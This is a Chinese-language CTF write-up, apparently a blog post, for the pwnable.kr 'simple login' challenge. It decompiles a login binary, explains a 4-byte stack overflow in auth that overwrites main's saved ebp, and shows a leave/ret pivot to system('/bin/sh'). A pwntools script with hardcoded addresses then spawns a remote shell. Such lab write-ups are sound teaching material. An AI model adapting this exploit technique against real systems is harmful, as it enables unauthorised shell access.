pwnable.kr - simple login

本文分析了一个静态链接可执行文件中的登录认证过程,揭示了其中存在的栈溢出漏洞,并详细阐述了如何利用该漏洞来控制程序流程,最终实现获取shell权限的技术细节。

题目信息

题目给出的信息如下:

题目信息

分析

下载得到 login 文件,这是一个静态链接的可执行文件。拖进 IDA 分析,main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v4; // [esp+18h] [ebp-28h]
  char s; // [esp+1Eh] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-4h]

  memset(&s, 0, 0x1Eu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ");
  _isoc99_scanf("%30s", &s);
  memset(&input, 0, 0xCu);
  v4 = 0;
  v6 = Base64Decode((int)&s, &v4);
  if ( v6 > 0xC )
  {
    puts((int)"Wrong Length");
  }
  else
  {
    memcpy(&input, v4, v6);
    if ( auth(v6) == 1 )
      correct();
  }
  return 0;
}

这里没有发现可以利用的漏洞,大概的流程是叫我们输入一个 base64 加密后的字符串,但是对长度进行了检查,解密后的长度不可以超过 12。继续分析 auth 函数如下:

_BOOL4 __cdecl auth(int a1)
{
  char v2; // [esp+14h] [ebp-14h]
  char *s2; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h]

  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

这里将 input 存放的解密后的字符串复制到了 v4 中,但是 input 的长度最大可以达到 12,而 v4 的长度仅仅为 8,存在栈溢出漏洞。这里溢出的 4 个字节将会覆盖函数 auth 的栈帧中保存的 ebp,这是函数 auth 的调用函数 main 函数的 ebp。也就是说,我们可以通过这里的栈溢出控制 main 函数的 ebp 寄存器的值。回到 main 函数,继续分析 correct 函数如下:

void __noreturn correct()
{
  if ( input == 0xDEADBEEF )
  {
    puts((int)"Congratulation! you are good!");
    system("/bin/sh");
  }
  exit(0);
}

可以看到在 correct 函数里面直接调用了 system("/bin/sh"),如果能够控制 eip 直接跳转至这里,那么便可成功解题了。

解题思路

auth 函数以及 main 函数的返回处存在着两条相同的指令:

leave
ret

其中 leave 等价于:

mov esp, ebp
pop ebp

ret 等价于:

pop eip

所以实质上在 auth 以及 main 函数的返回处都是相同的三条指令:

mov esp, ebp
pop ebp
pop eip

首先通过栈溢出控制函数 auth 的栈帧中保存的 ebp,接着在其返回处通过 pop ebp 控制 main 函数的 ebp 寄存器的值,然后在 main 函数的返回处通过 mov esp, ebp 控制 esp 的值,进而通过 pop eip 控制 eip 的值,最终跳转至 system("/bin/sh")

wirteup

from pwn import *

context(os='linux', arch='i386', log_level='info')

p = remote('pwnable.kr', 9003)

call_system_addr = 0x8049284
ctrl_main_ebp = 0x811eb40

payload = 0x4 * 'a' + p32(call_system_addr) + p32(ctrl_main_ebp)
payload = b64e(payload)

p.recvuntil(' : ')
p.sendline(payload)

p.interactive()
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值